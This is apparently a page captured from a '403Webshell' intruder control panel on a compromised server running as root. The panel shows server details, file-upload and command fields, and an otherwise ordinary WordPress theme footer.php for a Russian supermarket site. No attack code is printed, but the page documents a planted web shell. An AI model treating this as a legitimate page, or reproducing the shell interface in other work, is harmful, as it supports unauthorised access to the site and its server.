403Webshell
Server IP : 104.171.130.249  /  Your IP : 216.73.216.146
Web Server : nginx/1.25.5
System : Linux 0dac65491b7e 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/themes/matreshka/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/themes/matreshka/footer.php
<?php
/**
 * The template for displaying the footer
 *
 * Contains the closing of the #content div and all content after.
 *
 * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials
 *
 * @package Matreshka
 */

?>

	<!-- footer from layout -->
	<footer class="footer">
		<div class="container">
			<div class="footer-menu d-md-flex d-block">
				<div class="footer-logo">
					<?php
						// Читаем из ACF Options, если пусто — берём из WP Options (fallback)
						$footer_logo = function_exists('get_field') ? get_field('footer_logo', 'option') : '';
						if ( empty( $footer_logo ) ) {
							$footer_logo = get_option('matreshka_footer_logo_url');
						}

						$footer_phone_1 = function_exists('get_field') ? get_field('footer_phone_1', 'option') : '';
						if ( empty( $footer_phone_1 ) ) {
							$footer_phone_1 = get_option('matreshka_footer_phone_1');
						}

						$footer_phone_2 = function_exists('get_field') ? get_field('footer_phone_2', 'option') : '';
						if ( empty( $footer_phone_2 ) ) {
							$footer_phone_2 = get_option('matreshka_footer_phone_2');
						}

						$footer_contact_url = function_exists('get_field') ? get_field('footer_contact_info_url', 'option') : '';
						if ( empty( $footer_contact_url ) ) {
							$footer_contact_url = get_option('matreshka_footer_contact_info_url');
						}
					?>
					<img src="<?php echo esc_url( $footer_logo ?: ( get_template_directory_uri() . '/assets/img/logo-white.png' ) ); ?>" alt="logo white" >
					<?php if ( ! empty( $footer_phone_1 ) ) : ?>
						<a href="tel:<?php echo esc_attr( preg_replace('/\s+|\(|\)|-/', '', $footer_phone_1) ); ?>" class="montserrat-semibold tel-link">
							<?php echo esc_html( $footer_phone_1 ); ?>
						</a>
					<?php endif; ?>
					<?php if ( ! empty( $footer_phone_2 ) ) : ?>
						<a href="tel:<?php echo esc_attr( preg_replace('/\s+|\(|\)|-/', '', $footer_phone_2) ); ?>" class="montserrat-semibold tel-link">
							<?php echo esc_html( $footer_phone_2 ); ?>
						</a>
					<?php endif; ?>
					<?php if ( ! empty( $footer_contact_url ) ) : ?>
						<a href="<?php echo esc_url( $footer_contact_url ); ?>" class="footer-contact-btn d-flex">
							<img src="<?php echo esc_url( get_template_directory_uri() . '/assets/img/support_head.png' ); ?>" alt="Связаться" class="footer-contact-btn-icon mb-0">
							<span class="montserrat-semibold">Связаться с нами</span>
						</a>
					<?php endif; ?>
				</div>
				<div class="footer-items d-md-flex">
					<div class="d-flex">
						<div class="footer-item">
							<?php
								wp_nav_menu(array(
									'theme_location' => 'footer-1',
									'container'      => false,
									'menu_class'     => 'footer-menu-1',
									'fallback_cb'    => '__return_false',
									'depth'          => 1,
									'items_wrap'     => '%3$s', // убираем <ul>
									'walker'         => new Matreshka_Footer_Link_Walker(),
								));
							?>
						</div>
						<div class="footer-item ms-4 ms-md-5 ps-2">
							<?php
								wp_nav_menu(array(
									'theme_location' => 'footer-2',
									'container'      => false,
									'menu_class'     => 'footer-menu-2',
									'fallback_cb'    => '__return_false',
									'depth'          => 1,
									'items_wrap'     => '%3$s',
									'walker'         => new Matreshka_Footer_Link_Walker(),
								));
							?>
						</div>
					</div>
					<div class="d-flex ms-md-4 ms-0">
						<div class="footer-item me-md-4 me-0">
							<?php
								wp_nav_menu(array(
									'theme_location' => 'footer-3',
									'container'      => false,
									'menu_class'     => 'footer-menu-3',
									'fallback_cb'    => '__return_false',
									'depth'          => 1,
									'items_wrap'     => '%3$s',
									'walker'         => new Matreshka_Footer_Link_Walker(),
								));
							?>
						</div>
						<div class="footer-contact ms-4 ms-md-5 ps-2">
							<?php
								$vk = function_exists('get_field') ? get_field('footer_vk', 'option') : '';
								if ( empty( $vk ) ) { $vk = get_option('matreshka_footer_vk'); }

								$instagram = function_exists('get_field') ? get_field('footer_instagram', 'option') : '';
								if ( empty( $instagram ) ) { $instagram = get_option('matreshka_footer_instagram'); }

								$telegram = function_exists('get_field') ? get_field('footer_telegram', 'option') : '';
								if ( empty( $telegram ) ) { $telegram = get_option('matreshka_footer_telegram'); }

								$hours = function_exists('get_field') ? get_field('footer_hours', 'option') : '';
								if ( empty( $hours ) ) { $hours = get_option('matreshka_footer_hours'); }

								$email = function_exists('get_field') ? get_field('footer_email', 'option') : '';
								if ( empty( $email ) ) { $email = get_option('matreshka_footer_email'); }
							?>
							<div class="footer-icons">
								<?php if ( ! empty( $vk ) ) : ?><a href="<?php echo esc_url( $vk ); ?>" target="_blank" rel="noopener"><img src="<?php echo esc_url( get_template_directory_uri() . '/assets/icons/vk.svg' ); ?>" alt="logo vk" ></a><?php endif; ?>
								<?php if ( ! empty( $instagram ) ) : ?><a href="<?php echo esc_url( $instagram ); ?>" target="_blank" rel="noopener"><img src="<?php echo esc_url( get_template_directory_uri() . '/assets/icons/instagram.svg' ); ?>" alt="logo instagram" ></a><?php endif; ?>
								<?php if ( ! empty( $telegram ) ) : ?><a href="<?php echo esc_url( $telegram ); ?>" target="_blank" rel="noopener"><img src="<?php echo esc_url( get_template_directory_uri() . '/assets/icons/telegram.svg' ); ?>" alt="logo telegram" ></a><?php endif; ?>
							</div>
							<p class="montserrat-bold">Время работы:</p>
							<?php if ( ! empty( $hours ) ) : ?>
								<p class="montserrat-regular working-hours">
									<?php echo nl2br( esc_html( $hours ) ); ?>
								</p>
							<?php endif; ?>
							<?php if ( ! empty( $email ) ) : ?>
								<a 
									href="mailto:<?php echo esc_attr( $email ); ?>" 
									class="montserrat-regular email-link"
								>
									<?php echo esc_html( $email ); ?>
								</a>
							<?php endif; ?>
						</div>
					</div>
				</div>
			</div>
		</div>
	</footer>
	<section class="footer-bottom">
		<div class="container footer-info overflow-hidden text-center montserrat-regular">
			<div class="row">
				<p class="montserrat-medium first col-12 col-md-3">
					<a href="#">
						Обработка персональных данных
					</a>
				</p>
				<p class="montserrat-medium second col-12 col-md-6">
					© 2018-2026 Супермаркет “Матрёшка” 
					<span class="mx-1 d-md-inline d-none"> ● </span> 
					<br class="d-md-none d-block"/>
					Все права защищены
				</p>
				<p class="montserrat-medium text-md-end third col-12 col-md-3">
					<a href="#">
						Политика конфиденциальности
					</a>
				</p>
			</div>
		</div>
	</section>
</div><!-- #page -->

<?php
// Floating cart button (hidden on cart & checkout pages)
if ( function_exists( 'WC' ) && WC()->cart && ! is_cart() && ! is_checkout() ) :
	$fc_count = WC()->cart->get_cart_contents_count();
	$fc_total = WC()->cart->get_total();
?>
<a href="<?php echo esc_url( wc_get_cart_url() ); ?>" id="matreshka-floating-cart" class="mfc" style="display:none;">
	<span class="mfc__icon">
		<span class="material-icons-outlined">shopping_cart</span>
		<span class="mfc__badge montserrat-bold" data-count="<?php echo esc_attr( $fc_count ); ?>"><?php echo esc_html( $fc_count ); ?></span>
	</span>
	<span class="mfc__text montserrat-semibold">
		<span class="mfc__label">Корзина</span>
		<span class="mfc__total"><?php echo wp_kses_post( $fc_total ); ?></span>
	</span>
	<span class="material-icons-outlined mfc__arrow">arrow_forward</span>
</a>
<?php endif; ?>

<?php wp_footer(); ?>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit